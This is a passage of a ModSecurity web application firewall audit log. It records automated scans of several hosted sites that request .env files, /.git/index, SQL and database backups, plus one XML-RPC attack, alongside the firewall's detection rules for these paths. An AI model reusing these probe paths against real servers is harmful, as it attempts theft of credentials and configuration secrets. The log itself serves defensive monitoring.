AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --76ad0801-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=358d19c86ffafead19e817563f8977521750030048; expires=Mon, 16 Jun 2025 00:27:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --76ad0801-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/postfixadmin/.env"] [unique_id "aE9W4H2GhYywD7zZgx4HHgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030048096375 650506 (- - -) Stopwatch2: 1750030048096375 650506; combined=1899, p1=413, p2=1386, p3=0, p4=0, p5=100, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76ad0801-Z-- --40130a10-A-- [16/Jun/2025:04:57:33.659857 +0530] aE9W5FxTdrwJSUMoZvG3WAAAAAc 185.177.72.210 58100 127.0.0.1 7081 --40130a10-B-- GET /db.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --40130a10-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5f03dc01d5dce68ad76bc3347c73bfa81750030053; expires=Mon, 16 Jun 2025 00:27:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --40130a10-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/db.mdb"] [unique_id "aE9W5FxTdrwJSUMoZvG3WAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030052992779 667138 (- - -) Stopwatch2: 1750030052992779 667138; combined=1973, p1=343, p2=1538, p3=0, p4=0, p5=92, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --40130a10-Z-- --bfe41f3a-A-- [16/Jun/2025:04:57:50.557864 +0530] aE9W9UoyC4_VyyL7sS6OOQAAAAI 185.177.72.210 35250 127.0.0.1 7081 --bfe41f3a-B-- GET /:5601/v2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bfe41f3a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=609ace37d6e60de7e10848e9e01085c21750030070; expires=Mon, 16 Jun 2025 00:27:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bfe41f3a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/v2/.env"] [unique_id "aE9W9UoyC4_VyyL7sS6OOQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030069902432 655502 (- - -) Stopwatch2: 1750030069902432 655502; combined=1714, p1=383, p2=1219, p3=0, p4=0, p5=111, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bfe41f3a-Z-- --2b530d32-A-- [16/Jun/2025:04:57:53.620267 +0530] aE9W-JbumDYPKpRD2ekseQAAAAA 185.177.72.210 35382 127.0.0.1 7081 --2b530d32-B-- GET /backup/config_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2b530d32-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b4abfe2f415d5e4d27cb1e87008d4e3f1750030073; expires=Mon, 16 Jun 2025 00:27:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2b530d32-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backup/config_backup.sql"] [unique_id "aE9W-JbumDYPKpRD2ekseQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030072921008 699336 (- - -) Stopwatch2: 1750030072921008 699336; combined=2024, p1=369, p2=1533, p3=0, p4=0, p5=122, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b530d32-Z-- --156a747e-A-- [16/Jun/2025:04:57:56.657664 +0530] aE9W-7V9qKUox3X8g1YphAAAAAg 185.177.72.210 35544 127.0.0.1 7081 --156a747e-B-- GET /:8000/production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --156a747e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=75e4f53959511c86a18ca9ddf44b50a31750030076; expires=Mon, 16 Jun 2025 00:27:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --156a747e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/production/.env"] [unique_id "aE9W-7V9qKUox3X8g1YphAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030075979131 678596 (- - -) Stopwatch2: 1750030075979131 678596; combined=2121, p1=473, p2=1548, p3=0, p4=0, p5=100, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --156a747e-Z-- --a75a0d71-A-- [16/Jun/2025:04:58:09.929540 +0530] aE9XCZbumDYPKpRD2eksgwAAAAA 128.199.112.101 49030 127.0.0.1 7081 --a75a0d71-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a75a0d71-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a75a0d71-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9XCZbumDYPKpRD2eksgwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030089001428 928168 (- - -) Stopwatch2: 1750030089001428 928168; combined=2147, p1=383, p2=1396, p3=41, p4=59, p5=168, sr=99, sw=100, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a75a0d71-Z-- --f14e1249-A-- [16/Jun/2025:04:58:20.982763 +0530] aE9XFEoyC4_VyyL7sS6OSAAAAAI 185.177.72.210 53564 127.0.0.1 7081 --f14e1249-B-- GET /:8000/vendor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f14e1249-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c6122cc7b565c7b27339fded3d8752851750030100; expires=Mon, 16 Jun 2025 00:28:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f14e1249-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/vendor/.env"] [unique_id "aE9XFEoyC4_VyyL7sS6OSAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030100259628 723198 (- - -) Stopwatch2: 1750030100259628 723198; combined=1899, p1=402, p2=1409, p3=0, p4=0, p5=88, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f14e1249-Z-- --2c572422-A-- [16/Jun/2025:04:58:33.508862 +0530] aE9XIEoyC4_VyyL7sS6OTgAAAAI 185.177.72.210 41052 127.0.0.1 7081 --2c572422-B-- GET /.git/index HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2c572422-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6663265d3633a93b9c5068c750a8adfa1750030113; expires=Mon, 16 Jun 2025 00:28:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2c572422-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/index"] [unique_id "aE9XIEoyC4_VyyL7sS6OTgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030112757725 751201 (- - -) Stopwatch2: 1750030112757725 751201; combined=1642, p1=363, p2=1180, p3=0, p4=0, p5=99, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2c572422-Z-- --406e6046-A-- [16/Jun/2025:04:58:44.630708 +0530] aE9XK-xC6fQU5wYvxvl1xQAAAAk 185.177.72.210 43342 127.0.0.1 7081 --406e6046-B-- GET /:5601/app/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --406e6046-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=db43a079b31621e2cb241241b16192651750030124; expires=Mon, 16 Jun 2025 00:28:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --406e6046-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/app/konfig/.env"] [unique_id "aE9XK-xC6fQU5wYvxvl1xQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030123906280 724492 (- - -) Stopwatch2: 1750030123906280 724492; combined=1725, p1=400, p2=1224, p3=0, p4=0, p5=100, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --406e6046-Z-- --59c1c257-A-- [16/Jun/2025:04:58:46.740890 +0530] aE9XLrV9qKUox3X8g1YpoAAAAAg 185.177.72.210 43436 127.0.0.1 7081 --59c1c257-B-- GET /:8880/.env_bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --59c1c257-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d4178a4f7de3cd49e0d1265e8561512b1750030126; expires=Mon, 16 Jun 2025 00:28:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --59c1c257-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env_bak"] [unique_id "aE9XLrV9qKUox3X8g1YpoAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030126097339 643625 (- - -) Stopwatch2: 1750030126097339 643625; combined=1914, p1=447, p2=1348, p3=0, p4=0, p5=119, sr=133, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --59c1c257-Z-- --4a17620f-A-- [16/Jun/2025:04:58:49.709526 +0530] aE9XMbV9qKUox3X8g1YpoQAAAAg 185.177.72.210 43528 127.0.0.1 7081 --4a17620f-B-- GET /:8888/pub/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4a17620f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7cca71cda8c1bc0eb2b39cc1f6fc73c91750030129; expires=Mon, 16 Jun 2025 00:28:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4a17620f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/pub/.env"] [unique_id "aE9XMbV9qKUox3X8g1YpoQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030129050178 659410 (- - -) Stopwatch2: 1750030129050178 659410; combined=1758, p1=436, p2=1223, p3=0, p4=0, p5=98, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4a17620f-Z-- --854b2d52-A-- [16/Jun/2025:04:58:50.691234 +0530] aE9XMuxC6fQU5wYvxvl1xwAAAAk 185.177.72.210 36650 127.0.0.1 7081 --854b2d52-B-- GET /:8880/vendor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --854b2d52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=edf0e495544b751dd424c5326cf6233b1750030130; expires=Mon, 16 Jun 2025 00:28:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --854b2d52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/vendor/.env"] [unique_id "aE9XMuxC6fQU5wYvxvl1xwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030130038953 652354 (- - -) Stopwatch2: 1750030130038953 652354; combined=2015, p1=413, p2=1506, p3=0, p4=0, p5=95, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --854b2d52-Z-- --5bb2fd04-A-- [16/Jun/2025:04:58:52.834403 +0530] aE9XNPkk7JsP-DN1XGMoDwAAAAo 185.177.72.210 36878 127.0.0.1 7081 --5bb2fd04-B-- GET /private/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5bb2fd04-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e766083695676af3984d99e648c0dad31750030132; expires=Mon, 16 Jun 2025 00:28:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5bb2fd04-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.env.prod"] [unique_id "aE9XNPkk7JsP-DN1XGMoDwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030132135760 698705 (- - -) Stopwatch2: 1750030132135760 698705; combined=1649, p1=360, p2=1192, p3=0, p4=0, p5=97, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5bb2fd04-Z-- --680b3e6e-A-- [16/Jun/2025:04:58:58.898013 +0530] aE9XOkoyC4_VyyL7sS6OXAAAAAI 185.177.72.210 37240 127.0.0.1 7081 --680b3e6e-B-- GET /:8181/temp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --680b3e6e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b6a6ccad9194de12b9ee5a886ed58d81750030138; expires=Mon, 16 Jun 2025 00:28:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --680b3e6e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file 